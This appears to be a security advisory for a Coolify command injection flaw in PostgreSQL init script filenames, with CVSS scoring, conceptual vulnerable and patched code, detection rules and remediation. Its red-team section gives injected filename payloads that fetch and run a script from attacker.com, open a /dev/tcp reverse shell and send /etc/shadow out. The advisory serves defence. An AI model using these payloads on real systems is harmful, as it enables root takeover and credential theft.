CVE-2025-66211

Executive Summary

CVE-2025-66211 is a critical command injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The flaw resides in the handling of PostgreSQL initialization script filenames. An authenticated attacker with application/service management permissions can inject arbitrary shell commands into the filename, which are then executed as root on the managed server. This allows for full remote code execution (RCE) and complete compromise of the target system. The vulnerability affects all versions prior to 4.0.0-beta.451. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details are sufficient for a skilled attacker to develop one.

Supply Chain & Package Security

Coolify is distributed as a Docker image and via GitHub releases. The vulnerability is introduced in the application's source code, not in a third-party package. However, the impact is severe as it allows an attacker to execute arbitrary commands on the underlying host, potentially compromising the entire supply chain of applications managed by Coolify.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication and application/service management permissions.
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is easily exploitable by an authenticated user with low privileges, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the code that handles PostgreSQL initialization scripts. When a user creates or updates a PostgreSQL service in Coolify, they can specify an initialization script filename. This filename is passed to a shell command (likely via exec, system, or similar function) without proper sanitization or validation.

Root Cause: The application fails to escape or validate the filename before including it in a shell command. An attacker can inject shell metacharacters (e.g., ;, |, $(...), `...`) into the filename, which are then interpreted by the shell.

Attack Flow:

1. Attacker authenticates to Coolify.
2. Attacker navigates to the PostgreSQL service creation/management page.
3. Attacker sets the initialization script filename to a malicious value, e.g., init.sh; curl http://attacker.com/backdoor.sh | sh.
4. Coolify executes a command similar to: bash /path/to/init.sh; curl http://attacker.com/backdoor.sh | sh.
5. The injected command is executed as root, giving the attacker full control.

Why Root? The Coolify agent or service management process runs with root privileges to manage system resources, making the impact severe.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: filename is directly interpolated into shell command
filename = request.POST.get('init_script')
os.system(f"bash /opt/coolify/init/{filename}")

Patched Code (Conceptual):

# Patched: filename is validated and escaped
import shlex
filename = request.POST.get('init_script')
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
    raise ValueError("Invalid filename")
safe_filename = shlex.quote(filename)
os.system(f"bash /opt/coolify/init/{safe_filename}")

The patch ensures that only alphanumeric characters, dots, underscores, and hyphens are allowed in the filename, and the filename is properly escaped for shell use.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Coolify instance (version < 4.0.0-beta.451).
• Valid credentials with application/service management permissions.

Exploitation Steps:

1. Log in to Coolify.
2. Navigate to the PostgreSQL service creation page.
3. In the "Init Script Filename" field, enter a payload such as:

   init.sh; curl http://attacker.com/shell.sh | bash
   

4. Submit the form.
5. The command executes as root, and the attacker gains a reverse shell or executes arbitrary commands.

Alternative Payloads:

• Reverse shell: init.sh; bash -i >& /dev/tcp/attacker.com/4444 0>&1
• Data exfiltration: init.sh; curl http://attacker.com/$(cat /etc/shadow)

Blue Team

Detection:

• Monitor for unusual filenames in PostgreSQL init script fields (e.g., containing shell metacharacters).
• Monitor process execution logs for commands spawned by the Coolify service that include unexpected arguments.
• Use the detection rules provided below.

Hunting:

• Search for log entries where the Coolify service executes commands with filenames containing ;, |, $, or backticks.
• Check for outbound connections from the Coolify server to unknown IPs on unusual ports.

Indicators of Compromise (IOCs)

• Network: Outbound connections from the Coolify server to attacker-controlled IPs on ports 80, 443, 4444, or other non-standard ports.
• File System: Unexpected files in /tmp/, /opt/coolify/init/, or other writable directories.
• Process: Processes spawned by the Coolify service with arguments containing shell metacharacters.
• Logs: Coolify application logs showing init script filenames with injected commands.

Detection Engineering

YARA Rule

rule CVE_2025_66211_Coolify_Command_Injection {
    meta:
        description = "Detects command injection attempts in Coolify PostgreSQL init script filenames"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66211"
    strings:
        $injection1 = /init\.sh[;&|`$]/
        $injection2 = /init\.sql[;&|`$]/
        $injection3 = /[;&|`$]/
    condition:
        any of ($injection*) and filesize < 1MB
}

Sigma Rule

title: Coolify PostgreSQL Init Script Command Injection
id: cve-2025-66211
status: experimental
description: Detects command injection attempts in Coolify PostgreSQL init script filenames
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bash'
        CommandLine|contains:
            - 'init.sh;'
            - 'init.sh|'
            - 'init.sh`'
            - 'init.sh$('
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in filenames (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66211 Coolify PostgreSQL Init Script Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/service"; http_uri; content:"init_script"; http_client_body; pcre:"/init\.(sh|sql)[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Coolify to version 4.0.0-beta.451 or later.
2. If upgrade is not possible, restrict access to the Coolify management interface to trusted users only.
3. Implement network segmentation to limit the blast radius.

Long-term:

1. Apply the principle of least privilege to the Coolify service (avoid running as root).
2. Implement input validation for all user-supplied data, especially filenames.
3. Use parameterized commands or safe APIs instead of shell execution.
4. Regularly audit and update dependencies.

Workaround:

• Disable the PostgreSQL init script feature if not needed.
• Use a web application firewall (WAF) to block requests containing shell metacharacters in the init_script parameter.

Valters IT
DevSecOps & Cyber Threat Intelligence